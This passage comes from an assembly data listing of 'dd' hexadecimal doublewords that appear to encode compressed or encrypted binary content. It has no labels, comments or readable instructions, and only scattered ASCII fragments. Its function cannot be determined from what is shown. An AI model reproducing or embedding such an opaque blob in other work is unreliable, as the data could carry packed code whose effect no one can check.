0EB2001F3h, 0BEC92799h, 11204E55h, 0F185233Eh, 2298438Dh dd 59F81A65h, 3400666Ch, 0DD20C269h, 2975829h, 0AA30E6A0h dd 0E4901DDFh, 14B87776h, 240F8C84h, 5DBD275h, 0D010DD02h dd 0BA880089h, 178D133Ch, 50A60089h, 52EC6324h, 0CA50EB70h dd 531DA488h, 0A8F1900Ch, 0F052F814h, 75F74041h, 169F0042h dd 0F266A32Dh, 0CC00028Dh, 0A9124051h, 0F152CF0h, 2F740D96h dd 0DF90910Ch, 0ED365A02h, 80D04F85h, 532810D4h, 7E70C13Eh dd 8FA44155h, 8091CE18h, 0EC854073h, 70170C9Eh, 0BD283F9Fh dd 5C1CDF24h, 0A6151C6h, 0C1B41453h, 4E0FBEACh, 7080BC97h dd 0CB05BB99h, 0C12E80A8h, 5106B2E4h, 49E9CFDDh, 212D6009h dd 3E2EC90Eh, 8F868A00h, 6483615Bh, 274600A5h, 0D37E76ECh dd 5A64EA32h, 7088F631h, 0D18502F2h, 0FA1496DDh, 0C76798A0h dd 783D1B65h, 0D8C58040h, 0FE69F63h, 0FBFC03FEh, 0FF7166B2h dd 2660D100h, 0B35B07FDh, 3C157CCAh, 7F05376Ch, 0C056101Dh dd 91D72197h, 434F520Bh, 18278184h, 0A840BAF5h, 81DE6B48h dd 0E9B840B7h, 0F61C9EEDh, 9DD8BBEBh, 85B9A9h, 0BF106028h dd 0AF18CAC9h, 218008CDh, 2284E20h, 574C52D0h, 0A8B06D7Fh dd 3C280C51h, 6E1DB4FBh, 0FA05CA92h, 88501D66h, 1CBD23B8h dd 51B084C7h, 272262CDh, 6E2EB008h, 87000BE2h, 0DFCA8E8Bh dd 3C4F4979h, 2AFAA0DCh, 7A8FC14h, 3EABDD5Ah, 0AE434003h dd 0FCC041EFh, 7051FE5Ch, 0C8D30CF6h, 6031EAF1h, 0D5138D12h dd 3AF82C14h, 244345FFh, 91290053h, 5F5C906Ah, 0B0285D61h dd 51D018EBh, 787B2218h, 71641595h, 0CB00DCEEh, 74FA8B8Fh dd 9D192A96h, 0C008A66Ch, 0B7B12180h, 5BE568Bh, 72F9DB60h dd 77C3FEh, 32DA3A06h, 0AAEAD963h, 87803B00h, 2CF3E6BFh dd 222898B0h, 0FC15CD34h, 3CD4D44Ah, 0ECB42BF7h, 6F288A00h dd 86C66710h, 0EAD28244h, 0F2980028h, 0C3357B8h, 58C4E99Ch dd 0F6C46732h, 0E4327C94h, 0C8FB3181h, 18FD518Ch, 0C3148824h dd 794D2E1Fh, 0E36191C0h, 0EE212AF2h, 0FB781415h, 1701BCDCh dd 69FA9C8Bh, 3805D37Eh, 0CCA00C3Bh, 0B3114404h, 88284B29h dd 2F4ACF23h, 0A3680081h, 0D7026260h, 49D321C0h, 0CF8CA2h dd 0C06112F7h, 4C2C91C6h, 2F6B9F03h, 3BBC9370h, 0E8318A80h dd 37906089h, 24331E90h, 71FC90h, 0E7D6367h, 2199B058h dd 28353B30h, 90425387h, 0A7E630A0h, 846519D8h, 77246C98h dd 0E58B10FEh, 0C931003Ah, 0FD7EE44h, 683E08B9h, 0B8420F60h dd 1A127BFDh, 4050EFF1h, 0D1D430A0h, 58042C31h, 198628E2h dd 0F62A68B2h, 7E02FC94h, 413AFB86h, 0B6BF60C6h, 74110696h dd 8B0E616h, 0F130B9FCh, 0EFD3318Ch, 8B2D00D8h, 0F0E2037Bh dd 7A0071D1h, 3ACB318Ch, 2C705B8h, 803C99A8h, 10ECC3CEh dd 895E6C04h, 0F1627A62h, 5E64A720h, 0B7B20090h, 0B18EC023h dd 0D909450Ah, 0F9CF8Dh, 0BB7014BCh, 62A0A037h, 0F0303255h dd 3461C918h, 91E617D2h, 0DA1C00B1h, 0BBD9745Ch, 0C7F05DC8h dd 5C61B4A2h, 977C10FDh, 0ADA528F4h, 776A00A1h, 15A721EEh dd 0BB05DBACh, 0CADC5DC2h, 321D400Fh, 54FCFC04h, 1616F0C8h dd 5334F778h, 44900444h, 77EA00C0h, 0B2B9AA1Dh, 39824638h dd 518D08FAh, 4025C4E5h, 2C2EC217h, 6CF30F08h, 3FBD4815h dd 0A6909A80h, 0F75D4B86h, 0CC46C4B8h, 885E6D02h, 0FC337262h dd 5E65A640h, 0D700D65Ah, 0CF24267Dh, 0B0D27C22h, 0C7F82094h dd 2576D41Dh, 6DF25C28h, 0CB8341C3h, 540878F7h, 901980F1h dd 64FF2E64h, 9A1E0158h, 493F5741h, 0C2A4E3D4h, 944C53C6h dd 89127604h, 8C99975Ah, 9A24F836h, 210ABA24h, 28BCD5EDh dd 1590490h, 0C0A24F1Eh, 761699D0h, 0C3856308h, 3BA404DBh dd 688891D5h, 24531017h, 0EAE540ECh, 0E8CF5724h, 840C3186h dd 0DDD881F9h, 9E1B01EEh dd 9CD3D178h, 0A38DB298h, 0CC33F0ECh, 348E1C00h, 98FDC5C1h dd 97853F00h, 6116EEEFh, 38D7436h, 0FAC3A347h, 8903C862h dd 0EC8AC764h, 8C40C585h, 0A6170A18h, 2EB17CE4h, 82848BA5h dd 0CBBB2896h, 0B3808700h, 9888A024h, 90175D70h, 9BA56004h dd 48CC10F8h, 44512C2Ch, 0D0972A3Fh, 8C18AE00h, 762D81E9h dd 506373E7h, 6F75EC3Bh, 7762083Ah, 0F8908F59h, 2499058Bh dd 9435DB00h, 808F567h, 93E576DCh, 6E8A6604h, 42CC8C8h dd 0A9E97B7Ah, 54948769h, 8E5044D4h, 11FF3059h, 6183D602h dd 8F9C6DE3h, 675AFD98h, 0E8601E58h, 0FF008C81h, 2138E3C8h dd 0B24F48A8h, 23A880E8h, 5290A4DAh, 89012CB7h, 9F106C28h dd 88850CC9h, 280781D3h, 8FE61F5Dh, 0C6FA6910h, 35167B55h dd 0C86025F3h, 87004DA0h, 8AFB92Eh, 7147E5FBh, 8B3B0BF5h dd 14A4E31Dh, 7EF441B2h, 0A4428D89h, 37D0E06Eh, 5D628035h dd 0B0CC8032h, 5FAC40F8h, 32F68158h, 0F43F00C4h, 0A11C6BE4h dd 0B8A70025h, 3A7F441Ah, 60002407h, 8440F14Ch, 9AD74817h dd 0CFB23B98h, 0EC67FA94h, 74243B82h, 63958849h, 3020B2A8h dd 0E80093EEh, 3A2BC5FBh, 48155774h, 0E49C24B7h, 28100258h dd 1C72D4F7h, 6F2878F0h, 0A88008D6h, 8A2292Fh, 11FAB061h dd 64224EFCh, 0BCF0497Bh, 2A3A6D01h, 31EE3E01h, 7620CEECh dd 12101E35h, 2834AF40h, 151D1800h, 817D2838h, 0FB99C668h dd 0D1824D66h, 0E1FC1C51h, 0D35798C8h, 0C61030F9h, 0B9700B2Eh dd 0C2A1C819h, 6F02B836h, 42628A5Eh, 0A410F631h, 0A2035E67h dd 2004511Dh, 946040E7h, 1964189h, 80E514CCh, 0B00A5031h dd 50059D81h, 13D1CC33h, 27F44804h, 2289D550h, 0D8B1BCB0h dd 51B3C8C0h, 983D543h, 52982EC8h, 0D590413Ch, 54FA0702h dd 64701790h, 8D6009B0h, 9812F69Bh, 0F0117817h, 18D96E80h dd 74003B5Dh, 2B6C390Eh, 503AA549h, 8BE2D8B5h, 206EBA99h dd 2F40C300h, 0FFE61D63h, 9085D574h, 49D7016h, 18B08D48h dd 0A3DAB840h, 697FD888h, 0B01E8087h, 34534812h, 40E92C32h dd 94778A40h, 0C904BEFCh, 940F7090h, 30C499B8h, 2540F75Ch dd 924B26FCh, 5872475Ch, 94041296h, 521DFB04h, 558C166h dd 63B453DCh, 91F0C2C0h, 0C9DB6800h, 783F22C6h, 2AE600E4h dd 0F2264771h, 595053B2h, 18961BF0h, 0C58BB060h, 0E8E4274h dd 18170424h, 3F534302h, 0C88027C3h, 45BD83DFh, 6704E2Dh dd 12097531h, 741319E1h, 8B5350A8h, 0D2B8C00Ch, 18894407h dd 2421B985h, 41779D8Dh, 0FF0A5076h, 22585BD3h, 201017C4h dd 19B630F1h, 16FD6C21h, 0AE9208Ch, 2400EBBBh, 12C07615h dd 6716F73Bh, 16A985Fh, 8603E850h, 0C3582029h, 0FE445E46h dd 116E823h, 0C3504021h, 45A0910Eh, 85EA80EEh, 70CC2649h dd 18892701h, 140C0D95h, 0E707B868h, 0B5FFCEE4h, 1DBB1F16h dd 0A039D885h, 0ADD6D066h, 0D4680547h, 78C005DBh, 25501919h dd 0FA51A80Eh, 3637CB84h, 95611BD1h, 0C871B41h, 3374C00Bh dd 3208D88Bh, 94510A5Bh, 668009D3h, 75093883h, 99E088F1h dd 6956CC29h, 0EF251540h, 0F8831783h, 35117305h, 818311E5h dd 808D29C1h, 158D8B60h, 802087FDh, 786D6ABDh, 60850FC0h dd 0EFB1330Bh, 1B6013E9h, 7AB9660Eh, 2210907Dh, 30C82999h dd 34C2B3BBh, 66504B01h, 16AD78Bh, 68A195D0h, 3EF83207h dd 0EDE28186h, 4C90E50h, 5F013057h, 4689E4C3h, 1C19227Ch dd 0C0C35747h, 82C0558h, 8D220373h, 95092E25h, 890C3155h dd 482CD9BDh, 1341ADC4h, 0B1D8CA8Ah, 0B15E1BE1h, 0CF5A411h dd 14E9FF0Ch, 7B003571h, 19778B88h, 1A4B608h, 0B43C1361h dd 8A8A89EDh, 0FB8194A6h, 0E9302720h, 717E3F0Eh, 37D00E3h dd 62194196h, 0CA5CAA1Bh, 0D946443h, 843A0E95h, 620A1523h dd 6F0FBB7Fh, 0BC2314FAh, 53008C1Bh, 95878DE9h, 50FB1438h dd 7FCFDE51h, 0C5F4E959h, 20A2A411h, 0BA050D35h, 7396193Bh dd 81F9A30Ch, 947CA0E8h, 19270314h, 0F0A7AE98h, 811B8F98h dd 0E9174D0Ch, 3F270Dh, 0F7BEDE42h, 4A8C12A3h, 898B6A06h dd 44D859A8h, 2DA8537Ch, 650F2915h, 0C0DA2A98h, 316CB4FDh dd 81873139h, 9803118Ch, 0E8C05FA2h, 9239C007h, 0CE757984h dd 5025463Fh, 9CA6F9D8h, 5D1C5546h, 6C8988C3h, 45401AC4h dd 6FE1C355h, 0F8FE6005h, 9A0984C0h, 0B2F830CEh, 3192C4BDh dd 0EA13C829h, 0FF18188h, 7339989Fh, 4847F80Ah, 0B4909BAh dd 0A6C82094h, 0C359C351h, 234C8991h, 51418095h, 14925C3h dd 21397359h, 1691B501h, 0FB0D339Ah, 9E29FA73h, 569188C9h dd 22C35E87h, 14317489h, 0C3564610h, 9506E16h, 0FF504A12h dd 0B0C936Ah, 290FD5D5h, 0C6DF8BFh, 590E4B6h, 0BC8C218Bh dd 17517BA1h, 8A016018h, 0F50D09Dh, 1D82068Eh, 5758531h dd 80914FB3h, 4859D5E5h, 5598534Bh, 0C35F70Ch, 8809A05Ah dd 0C979B70Fh, 527DB53Bh, 59D729EEh, 0DF181AD9h, 82A72000h dd 8B65871Dh, 103937BDh, 50F8625Ch, 85E0EE4Dh, 0A6A05A6h dd 87D6691Ch, 0BD33417Bh, 0C63422C5h, 3FEECA8Bh, 80402739h dd 0E930AFA4h, 0CF260B12h, 9EEE0038h, 0D7694F5Bh, 4B01CC70h dd 6C376753h, 0C46018CAh, 9157D065h, 0E9308B22h, 9E224710h dd 0D4D80067h, 0E2E03A0Ch, 8E03F2ABh, 0D7DA8BEDh, 9441450h dd 0FA3DA21h, 470205EBh, 2AE18052h, 3164935Fh, 8B2FFDC4h dd 9A8291D1h, 2D10F848h, 0B2AE4315h, 50F33114h, 6B653A64h dd 80BAE63Ch, 2C1C3F32h, 2F674D51h, 8FF6E181h, 103FF912h dd 18001C23h, 8C91A267h, 0B2B90913h, 6E90E95Ch, 2F0E0F99h dd 22486A09h, 6E86BF66h, 0EBE85846h, 1FEE009Eh, 0C1142E74h dd 0EB52B800h, 8F5BBFABh, 0BD455858h, 5F018512h, 0A6160075h dd 468124Fh, 0A9A226BAh, 7B055E09h, 91AD0CF9h, 93A4E833h dd 8163E300h, 0B0F705C5h, 59BF3837h, 112500FBh, 0A3882343h dd 800ADD6Dh, 0C45FBCF1h, 5A845291h, 54BE82C3h, 420183C7h dd 33B1C352h, 0B9216D30h, 0FC958CD5h, 520B608Eh, 0A36DBD03h dd 0C8BA5FC8h, 2C651374h, 906A5061h, 0A5BA5033h, 5C850540h dd 0A226EC0h, 0C06604Ch, 0F4BC8BD3h, 9D615CF0h, 0E8232EB2h dd 5D0B0011h, 5720EFCAh, 400032A3h, 9F3A352Ch, 299D4A31h dd 80E3DF10h, 0DBD3405Fh, 0D13E7753h, 155A559h, 0DD950B7Ch dd 0C062BD65h, 2CA966C8h, 0BE181BD1h, 3200EE7Ch, 8B181ECBh dd 892A830Fh, 0B00DFE8h, 0B6AFBF1Dh, 1CF73941h, 28E4FEB4h dd 1E7324F7h, 9FB16084h, 0D5740D2Eh, 478A2200h, 0AD0CBDF3h dd 0E706FA59h, 0B14C084h, 35844451h, 2114C050h, 2E85E222h dd 7E9688FBh, 8BFE103Fh, 216D9D89h, 15C5E9F1h, 7D194A2Dh dd 40191702h, 0B759528h, 1940482h, 19225855h, 25FD76C4h dd 245B1F17h, 7309C768h, 21672A69h, 0C51A256Ah, 865A8470h dd 14596AB9h, 7698C818h, 81A40DE4h, 0A5FCB737h, 4ACB5D76h dd 7784EAE9h, 19885B8Eh, 8A5F9CC0h, 0EA972EF2h, 382C9435h dd 6058A022h, 256110D8h, 42FFD78Eh, 2615BD29h, 50EF1884h dd 0B6D62C9Bh, 92018908h, 4DAE04F5h, 0E88D4E2Fh, 0C483051Bh dd 88BACE10h, 592C814h, 626A99Dh, 0D13012Bh, 0E85CC05Ch dd 1D248C15h, 0D1A1614h, 0F1AC5957h, 0E1DF1FD3h, 70955B7Ah dd 6E2455ADh, 29109B01h, 2D3AFB4Ch, 0DD91484Bh, 6B4CB981h dd 0D89F441Ah, 42916481h dd 9762726Fh, 56857184h, 9C934A15h, 0FCCE0EB1h, 0AC84EF0Ch dd 0CFF8005h, 60C890C6h, 68441204h, 0A327184Fh, 5B9E1A96h dd 0EB8B9DB9h, 9C85252Ch, 55432419h, 74C4D14Ah, 0EBAB9808h dd 5BA37B93h, 0E88A10C0h, 0AEDA0581h, 0C41D5AACh, 9C6B395h dd 0CE058D29h, 9AE85CCCh, 30B17283h, 3956F0E0h, 3ADF6E00h dd 441851F1h, 579516B4h, 0B0A030FEh, 6B3EC61Fh, 0ED820F49h dd 0B118A3D7h, 2A7A005Eh, 0F147F80Bh, 354A9D29h, 335ABA0Eh dd 0E48304C4h, 0AC4B4C6Eh, 138C16E8h, 4E3F30Dh, 130AE190h dd 0F482C8Bh, 4D1F0A4Ah, 0B96680BCh, 5FE9CCB7h, 94481A4h dd 0DBB600F9h, 0A10E7C14h, 78A8813Eh, 7100B9A0h, 762CAB24h dd 4CED89h, 0EFA9FC64h, 52338349h, 0BAD0C400h, 4B12D713h dd 0C35F4C5Ah, 0C61CB2h, 98132120h, 0A8CF72DFh, 82FB78F9h dd 8528D459h, 6D0C0926h, 3F235A46h, 0F5784AB1h, 0D91571E2h dd 8D181Ch, 803399EEh, 0EB3EABCEh, 9031523Dh, 5A2C2509h dd 334659EBh, 301AF2F3h, 4B058D65h, 0DA395AD2h, 0D9125FC5h dd 88D9868Dh, 612C0BB8h, 102359CBh, 0D2CD9529h, 37B5AEA9h dd 218013D5h, 25B92CC4h, 0A800FB0Fh, 43F57536h, 1DBB5E27h dd 3EE64A60h, 8204E912h, 0D257F8D7h, 5F5D0044h, 413953C5h dd 0C41E165Ah, 0CC838E54h, 0D42B9308h, 8C53EBC8h, 16C35B39h dd 15395C89h, 3A289368h, 4BEF13FAh, 23E93FE6h, 0BD4F9D4h dd 0BE520D8h, 0A459882h, 6778005Dh, 0F7D77642h, 0B0A4792h dd 0E3B65627h, 10A6D01Bh, 0A0F293Ch, 0DB3F68F9h, 0A127642Ah dd 1018AC28h, 500E421Dh, 75D829E7h, 9C0C651Ch, 37319600h dd 0A30FD411h, 48102284h, 480E5E9h, 246E5C39h, 90BBAE03h dd 13C88ABCh, 91FB1198h, 69035DFAh, 50BE8EFCh, 234A2E92h dd 515F001Bh, 5CEE061Eh, 230F9512h, 4AC5A31Bh, 2EE56E56h dd 339400F9h, 1585C29Ch, 0E213031h, 9D4F7DB9h, 8F5E81D3h dd 4674FC2Eh, 615B0018h, 6AF2A698h, 5B85E201h, 2A975EFDh dd 940ADBFAh, 680326EAh, 0F909F5FFh, 0C9D248E9h, 3EE91h dd 2FDED5A2h, 0C21F4CAEh, 0BFBDCC09h, 4A9596F5h, 23583E44h dd 6CAE0017h, 820FB653h, 88202B99h, 0BA81319Eh, 352241A3h dd 0FB6E9941h, 9944C606h, 393061E9h, 8B6AC180h, 47FB4428h dd 60166442h, 9C2F33AEh, 0CD806351h, 0DD6750B2h, 17601544h dd 2C945054h, 5070BDCh, 6A8A94B6h, 747B4A8Ah, 5D031A46h dd 0C17E39C6h, 0B0C0C0C2h, 0F12D5E8h, 0DD0BFBB7h, 24B344FDh dd 0C4DD0CE1h, 0DC0C5B3Bh, 7DBD0B41h, 78C25330h, 0E2731742h dd 757A301Ch, 7276E7FAh, 6F5DAB14h, 25ED13F1h, 0FB15C2D1h dd 2BB20915h, 0C09E5EAh, 0A8D10C00h, 0F6348072h, 3EF4D224h dd 65E651B5h, 0E5A943F7h, 0A43019A2h, 30A874DEh, 526817D9h dd 8909106Ah, 670CB195h, 3F3717E8h, 1C23A0h, 0F39C3355h dd 9B481260h, 2F8456D9h, 2CBFFE8Bh, 31816240h, 0B2144411h dd 3014F2EAh, 0BF0A66D9h, 0BB509B7Fh, 11C89110h, 5882A9A0h dd 0E0EC966h, 0B598A6h, 0DF4FA1E1h, 52D80255h, 9B31FECBh dd 0E41BF58h, 9279768h, 2755A411h, 0BD35273Eh, 5494804Dh dd 5B48531Eh, 9B5C105h, 5E90DD95h, 40A9BD23h, 85772911h dd 0A5380F48h, 1D23683Ah, 0F271A00h, 9B442EDh, 82379D5Bh dd 0BB4D6B87h, 17113335h, 35D7D480h, 40C0FC73h, 56C0D281h dd 875749BBh, 0F52494D7h, 9E467CC2h, 72E46080h, 7087B2h dd 97B99E9Ch, 7427491Bh, 52593605h, 0C0275A82h, 8012BB28h dd 0E5353106h, 0C5B20718h, 0F3F905Ch, 1763998Bh, 0DF81860h dd 160084F1h, 4F7EFFBEh, 0EEB56D2h, 6160B7CFh, 0B59D0921h dd 0DF54AB12h, 3C988834h, 4915812Bh, 801C3CA4h, 77B123BAh dd 0EFA6076Fh, 1037B8CCh, 5CAC783Ch, 80689318h, 24FE8B2Bh dd 74CA036Ah, 0BA001D46h, 0C2E05A83h, 5C186137h, 0B94AD136h dd 5E5F1656h, 0C2F75433h, 68450C4Fh, 317AC041h, 9AA0129Eh dd 0C46C8D4Ch, 0BE5D2C51h, 0F1A04CEh, 0E8FDB48Ch, 0D33982A4h dd 73501FAh, 2DB589DFh, 0D9599C52h, 0F483001Bh, 4C44F0FDh dd 8099AD3Ah, 19B938E0h, 0FAF590AAh, 800B9153h, 0A3EBEA85h dd 4B0022E6h, 19074FD9h, 399B7AB8h, 77003930h, 5F596124h dd 0FF50F883h, 44188CAh, 8A5E941h, 0FB09BFBEh, 0A5225105h dd 8D640A1Dh, 30020C81h, 0BCAA7E8Dh, 0ED7066DBh, 0D3E517DBh dd 917404EEh, 6E058C60h, 56B39900h, 0B29CE40Ah, 78740001h dd 0E55DB9B4h, 0B44E965h, 6A76CAh, 5A87ECB8h, 0F2D273DCh dd 0F59FDDA0h, 4D9AA6F3h, 15A4FF01h, 22E591Ch, 17BD9DDCh dd 0CB20E905h, 187BDEC9h, 421E3BDBh, 5682EFF2h, 61071095h dd 0CABF0F3Eh, 2A2CC0EDh, 0E48FD8F8h, 293D2FD8h, 0C097D67Fh dd 5D03C05Ah, 0F104D9Eh, 33946133h, 2EA11CAh, 3022051h dd 120CB1BDh, 0DC1EB40h, 3AC108A2h, 26D20FEh, 96D18B88h dd 1E53691Fh, 0E2602270h, 51F0058Bh, 0C536158h, 598B01D4h dd 922632F3h, 4AB56455h, 0B19D3B60h, 0C0939402h, 6A2CBA66h dd 5AEA0890h, 0F850792Ch, 30152659h, 77BF3547h, 0D3EA1D00h dd 0D622B3A5h, 789C054Ah, 991B1E0Ch, 0F98E00E9h, 8EBE0AE9h dd 0F95F44E4h, 75960BBCh, 0EC8292Fh, 0C01B889Ch, 0E9FFDFD9h dd 0ED5DB100h, 0EFCE80D8h, 20CDB3F5h, 2C9B86D7h, 5896159Dh dd 0B70FE6B9h, 6BC7561Ch, 84106329h, 17025FCAh, 4C5F0ED2h dd 570D034Ah, 0EFF0F6FCh, 0EFD155D6h, 5EC2015Fh, 3902DEF4h dd 842759E5h, 0F3A582FCh, 2037E4FDh, 72B22645h, 95121520h dd 4B635110h, 78D839h, 0EA2164DFh, 715C0EFh, 66CD7F3Ah dd 16AA0F6h, 3316F5BFh, 8564300Bh, 0D69CFB8h, 8BB2D40Fh dd 26BF0B5Dh, 0ED7A32B0h, 156CAF1h, 0B46D18A0h, 4CB9789Ch dd 24B046DBh, 716968FAh, 12CE0188h, 0F2F359C9h, 8BEBC60h dd 5B1AA50Fh, 722C728Bh, 5898A3Bh, 63A9024Ah, 0E06E514Fh dd 0AD982E30h, 3C834C8Dh, 44B7C909h, 0EA808718h, 0AD909642h dd 29090512h, 0A54E4287h, 66AEBBF8h, 5DD7B724h, 60B966C0h dd 2BF190C5h, 26D0D634h, 0A1424C5h, 11251B85h, 3BF0205h dd 941C1ACFh, 90E584FBh, 0BCF99FEh, 40D7B7E9h, 7CCA5F63h dd 0F91A9DA4h, 3A156DC1h, 0F999421h, 858BF800h, 2BC05D4Ah dd 516057h, 0DBE665Eh, 0E95A61F4h, 0AF9F49h, 5272CA81h dd 268946FAh, 41F4F995h, 1FE13B5h, 2FB88F0Fh, 5B682336h dd 0AABEAC80h, 0D3962194h, 7B815716h, 0EB45A57Ch, 778088DBh dd 2390E8BDh, 0FF20C706h, 45E2AE60h, 0E774FACDh, 89DF280h dd 1C3736DAh, 6B63C75h, 93D9CD18h, 0F3055A73h, 20D5BD33h dd 0B2BB5B64h, 95010407h, 0C818197Dh, 612DBD23h, 0ED5B2615h dd 0BD2DE41h, 7928958Dh, 44B7494Ch, 8E13F496h, 0A28E3E9Bh dd 0C9FFB6Bh, 0D9FCD991h, 952BE085h, 1D9F135Dh, 801D9136h dd 0DCA483ACh, 5BFE0415h, 0F8A06BEFh, 9018209Bh, 0FDAC9728h dd 16B650DCh, 0C4A7E447h, 1BCDD210h, 0FCE748CFh, 2F0E8D19h dd 0F03B36D8h, 0EF156F8h, 0E08F6D35h, 79075FC9h, 93BD0C7h dd 1A925DB5h, 0A58A5350h, 3713263h, 43449789h, 0C20641C6h dd 5105F720h, 5A635B19h, 0C2301DA2h, 4E960026h, 29D05D32h dd 8A25712Ah, 41D912CCh, 5C0F9F8h, 4E7D00C4h, 2583BB8Fh dd 3875AAF1h, 779FD01Fh, 9584C16Eh, 0DF50661h, 0D970A7A9h dd 14191817h, 94C4CA90h dd 0F084E905h, 0D0638050h, 0C1B86AC2h, 0D3DBD13h, 10798021h dd 0A0243D44h, 0C9D24FC2h, 0B57445BBh, 0DEF39C6Ah, 0C5363800h dd 4396E534h, 0B529083Eh, 0BF010CA9h, 7FEF5F55h, 626C8B38h dd 6870CF7Eh, 4B3185Dh, 533ED2BAh, 0DB888B9h, 8202AE3Ah dd 0F52EF75h, 96D5183h, 2A875ACAh, 0CD4B1815h, 60BF40FFh dd 9604E06Eh, 0BF48190h, 203D9681h, 0D105A32h, 0B2BA0225h dd 0CC7AA7E8h, 44AC872Eh, 28FF6118h, 0E20165E4h, 154D2C8Dh dd 7C2524Eh, 3D8ADCD1h, 6B52F62Ch, 25317682h, 484D1840h dd 1EF9CCC0h, 86E0143Eh, 0B802DAFEh, 5985C73Ch, 0C22FF6ADh dd 1DC9F7Ch, 0B80A329Dh, 727A4B55h, 4F5DCB7Bh, 686D60E5h dd 2A0FD151h, 261BC1C9h, 0A2238C3Dh, 57F65719h, 455B72Fh dd 81EF8A6Ah, 50E01A7h, 0BF000CA2h, 356B8CE8h, 39A9963Dh dd 8D031075h, 0C5065989h, 0C409E1C0h, 0FB03A081h, 0FC21FE3Bh dd 1282CAF4h, 0F899359h, 0BEE75288h, 94F24044h, 1700DBC7h dd 7BF80F0Ch, 2E77456Dh, 842EDC23h, 0E37CEABAh, 80BE5C97h dd 0EE035520h, 0CD820077h, 0C873924Bh, 2E3C260Ah, 0EDED2C76h dd 5879809Dh, 4CBA0218h, 0C72956BCh, 0BC6E2A1h, 0BC6083Fh dd 0AF865Ch, 0AEF3A229h, 354CAC48h, 3351DA05h, 6B81A158h dd 59000D69h, 1B4E850Fh, 0AFA5DCh, 6D82D79Bh, 256A44E6h dd 0EDB8F200h, 29846F05h, 167D5A8Dh, 6991E13Dh, 46C8B936h dd 236D4FC7h, 428429F8h, 0A25BD95h, 149108C0h, 23A062C9h dd 4CFE984h, 0CDBD0917h, 862B480Eh, 64D1B70Fh, 8A1F0140h dd 0E9FE3381h, 0C532532h, 0A0001A9Eh, 231C79Ah, 0B4B8C69h dd 26539C93h, 10FE4300h, 11CE95Fh, 66CFFF1h, 0F6A4B913h dd 0CF58C9C0h, 0DD88101Fh, 0DD4EFC07h, 15E2D08Bh, 98AD2F30h dd 10E520B2h, 59F9521Ah, 0C2715FBAh, 3B7B1F80h, 0B24BE97Eh dd 0DF810250h, 57D03042h, 3FBC240h, 8FBC17B0h, 402C07DCh dd 395CB1E6h, 0A7E07FE4h, 6B51A201h, 0FF763AD2h, 0EFC806FDh dd 411288Ch, 48F35C8Ah, 36BCB85Dh, 7B40E95Bh, 9B47220Ah dd 85F20Fh, 0A0CEA78Ch, 5612FD0Eh, 0BA902B00h, 5753F232h dd 373169E9h, 3CEC4402h, 0E8020302h, 9471BDE1h, 940134Ch dd 92A8F9ADh, 0E4E84459h, 0A707D54Eh, 0DC642C61h, 5483A864h dd 595F8950h, 0CB346AC8h, 292BCD5Eh, 7C84F178h, 0A41E29Ah dd 0C0078742h, 0C001623Ah, 0F6DB8CA3h, 939004C3h, 303AFC45h dd 52685682h, 9CA8B811h, 71046AE1h, 76D1177Eh, 88FB8164h dd 210666DAh, 6847002Dh, 0EC18AC9Bh, 8B04318Fh, 4F1E48F0h dd 2661680Fh, 86B6772Fh, 623588D4h, 28C4817Dh, 85188556h dd 753075C0h, 17986841h, 0B7DB8764h, 687FCAB0h, 0A4684CE0h dd 0AD80E4E7h, 9D8B0420h, 5B895F66h, 6B036104h, 150A5457h dd 7603C7C2h, 430ABB6Dh, 507020Ch, 0CA2FBD85h, 0A1024156h dd 0B5942E47h, 4211948Bh, 68458067h, 40A5F797h, 21435D92h dd 0AB026799h, 750A280Ch, 0B46D6032h, 524EA1A3h, 4DEB0C32h dd 0AF30344Bh, 785FDA81h, 893A05A4h, 2087DBDh, 513CFA5Ch dd 1CD13471h, 7E00EE18h, 39EAE3A8h, 0BD37A3CAh, 4E80550Bh dd 19953350h, 0FF6493A8h, 199F3570h, 0A2606045h, 0DD154191h dd 6861DD09h, 64EA74DEh, 9125892Dh, 50100C6Dh, 0E00782D0h dd 3028879Ah, 0BCE6D6C7h, 0BF927DEh, 0F121D464h, 30840819h dd 9385318Bh, 89265FC5h, 1DFA424Ah, 7FD58027h, 9D70F3F8h dd 9509AD18h, 0E9AFB154h, 438649h, 1FCB13BAh, 98DB3366h dd 8D85696Ch, 71B2241h, 21824EBh, 40D68B43h, 0B073FC8h dd 58F6414h, 0C4830979h, 5EF29804h, 41590017h, 0B74F09FAh dd 70022715h, 508A35FCh, 70F8538Dh, 0ED0EF0BCh, 45B5920Dh dd 43C1FB83h, 0B121284h, 0AEE9AB89h, 0FCEF8505h, 551F8C0Fh dd 5E0B8E1Ah, 6C00DCACh, 42239DAFh, 145CC281h, 0A215DB9Eh dd 76087510h, 0C244C03h, 33A481C7h, 8303FF3Dh, 1528B8D3h dd 0C31AB104h, 62305C8Bh, 5D5300B0h, 591CED81h, 83283D3Dh dd 0D186A11Bh, 0CC891990h, 9664F5Dh, 0A46DF181h, 16E41C65h dd 64C6E361h, 3D4212FEh, 236F2B4Ah, 2EBF0018h, 50012BEDh dd 9DCFBA04h, 0AE9C7C7Eh, 0D2CA2480h, 7784EB9Eh, 10B90B17h dd 4B8A6h, 54855D7h, 0DF78164h, 0D465BB00h, 40BA8685h dd 0FA3470B6h, 5FE833EAh, 0FBB8ED0Ch, 4D255868h, 237B5256h dd 64292C59h, 77B5BFC0h, 16735FC1h, 39D0141h, 6B108995h dd 3D10E66Ah, 30018404h, 0A117A822h, 0B649C220h, 323FF931h dd 1BD689C5h, 6DE9884Ch, 204FF53Ah, 38382E2Eh, 1ADF035h dd 637845C0h, 74700165h, 206E6F69h, 0D866CD49h, 61516D72h dd 6CF8410Ch, 0CC73E565h, 8DF202Ch, 744F641Dh, 3673BE68h dd 77338F6Ch, 0F367F369h, 0FB64D363h, 0F3287D73h, 40612DF7h dd 0F6C722CBh, 6D742A2Eh, 68542019h, 79D96B16h, 0AFC75EDh dd 0E904DF0Dh, 70288C01h, 62C07346h, 4C525443h, 66FFEB2Bh dd 1E699ED1h, 0A06497CDh, 70A18FB1h, 6C085179h, 0FC62E569h dd 64287261h, 42803629h, 73FA6556h, 3DFE99A4h, 94F325FEh dd 587431Eh, 4E496B63h, 0E1640F48h, 1C54554Fh, 6F723F50h dd 0F0B1DD1h, 0C80F3B68h, 74690DE6h, 420F0E3Dh, 5054DE1Eh dd 1E18688Eh, 0BD05ACEAh, 718C2A81h, 2001412Dh, 0B45B6035h dd 44CA9688h, 25D668B3h, 7095CA03h, 4A42E4B4h, 1985513Eh dd 26071654h, 0DE51164Eh, 0AC406124h, 19914065h, 58212547h dd 216BF0C4h, 